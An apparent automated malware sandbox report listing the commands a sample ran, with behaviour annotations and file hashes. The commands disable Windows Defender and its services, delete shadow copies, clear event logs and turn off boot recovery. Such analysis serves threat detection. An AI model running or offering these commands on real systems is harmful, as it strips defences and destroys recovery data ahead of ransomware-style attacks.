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C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f2⤵PID:4328
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C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f2⤵
- Modifies Windows Defender Real-time Protection settings
PID:4948
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C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f2⤵
- Modifies Windows Defender Real-time Protection settings
PID:4956
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C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f2⤵
- Modifies Windows Defender Real-time Protection settings
PID:5008
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C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f2⤵
- Modifies Windows Defender Real-time Protection settings
PID:652
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C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f2⤵
- Modifies Windows Defender Real-time Protection settings
PID:4848
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C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f2⤵PID:4832
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C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f2⤵PID:3340
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C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f2⤵PID:1764
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C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f2⤵PID:788
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C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f2⤵PID:648
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C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f2⤵PID:1592
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C:\Windows\SYSTEM32\schtasks.exeschtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable2⤵PID:1960
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C:\Windows\SYSTEM32\schtasks.exeschtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable2⤵PID:1308
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C:\Windows\SYSTEM32\schtasks.exeschtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable2⤵PID:2488
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C:\Windows\SYSTEM32\schtasks.exeschtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable2⤵PID:1680
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C:\Windows\SYSTEM32\schtasks.exeschtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable2⤵PID:212
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C:\Windows\SYSTEM32\reg.exereg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f2⤵PID:5116
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C:\Windows\SYSTEM32\reg.exereg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f2⤵PID:2576
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C:\Windows\SYSTEM32\reg.exereg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f2⤵PID:1744
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C:\Windows\SYSTEM32\reg.exereg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f2⤵
- Modifies registry class
PID:1108
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C:\Windows\SYSTEM32\reg.exereg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f2⤵
- Modifies registry class
PID:2156
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C:\Windows\SYSTEM32\reg.exereg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f2⤵
- Modifies registry class
PID:3992
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C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f2⤵PID:3580
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C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f2⤵PID:2140
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C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f2⤵PID:4516
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C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f2⤵PID:4940
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C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f2⤵
- Modifies security service
PID:68
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C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f2⤵PID:4116
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C:\Windows\SYSTEM32\vssadmin.exevssadmin.exe delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:4432
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C:\Windows\SYSTEM32\wevtutil.exewevtutil.exe cl system2⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:1460
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C:\Windows\SYSTEM32\wevtutil.exewevtutil.exe cl security2⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:396
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C:\Windows\SYSTEM32\wevtutil.exewevtutil.exe cl application2⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2372
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C:\Windows\System32\Wbem\wmic.exewmic.exe SHADOWCOPY /nointeractive2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2720
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C:\Windows\System32\Wbem\wmic.exewmic.exe shadowcopy delete2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1136
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C:\Windows\SYSTEM32\bcdedit.exebcdedit.exe /set {default} bootstatuspolicy ignoreallfailures2⤵
- Modifies boot configuration data using bcdedit
PID:3672
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C:\Windows\SYSTEM32\bcdedit.exebcdedit.exe /set {default} recoveryenabled no2⤵
- Modifies boot configuration data using bcdedit
PID:4564
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C:\Windows\SYSTEM32\cmd.execmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All2⤵PID:2672
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C:\Program Files\Windows Defender\MpCmdRun.exe"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All3⤵
- Deletes Windows Defender Definitions
PID:4348
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C:\Windows\SYSTEM32\cmd.execmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true2⤵PID:4324
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIOAVProtection $true3⤵
- Suspicious behavior: EnumeratesProcesses
PID:4656
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C:\Windows\SYSTEM32\cmd.execmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true2⤵PID:3300
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableRealtimeMonitoring $true3⤵
- Suspicious behavior: EnumeratesProcesses
PID:748
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
1KB
MD5f939d786e1fb30d287357d553719cf88
SHA1b5001e66047bb37310e8b9c78fef2d1ef6443e1f
SHA2565f3f1382a950d3c94afafb319c58b2b3731bce694966973685aad6bf9b156cad
SHA5128da927a8e9425e10a29daeb4b93f66484eca789805dd66a29bfee52b59c2a6df9895bc5dfd814eca788ed27b53463cdd4e8983ff2fc04496d5998a4193f3c2a9
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Filesize
3KB
MD58592ba100a78835a6b94d5949e13dfc1
SHA163e901200ab9a57c7dd4c078d7f75dcd3b357020
SHA256fdd7d9def6f9f0c0f2e60dbc8a2d1999071cd7d3095e9e087bb1cda7a614ac3c
SHA51287f98e6cb61b2a2a7d65710c4d33881d89715eb7a06e00d492259f35c3902498baabffc5886be0ec5a14312ad4c262e3fc40cd3a5cb91701af0fb229726b88c3
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Filesize
1KB
MD56479147ac9a2a535940ce3a1d9f3f09a
SHA1eb44985e5658e04d3e8f0cca5d74662730c24064
SHA256dc5ba17cfed204b32fad8f998d99f264e337af4fd9025e142eb1221882faab12
SHA5120ab3693bbedd13960135f5df28c0801ea26b907556e07e6098d576699907a858acb1c8f1680a009e0cd27eb01edc39697b8d35517c3dcd3c2ebf7600ae518718
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Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a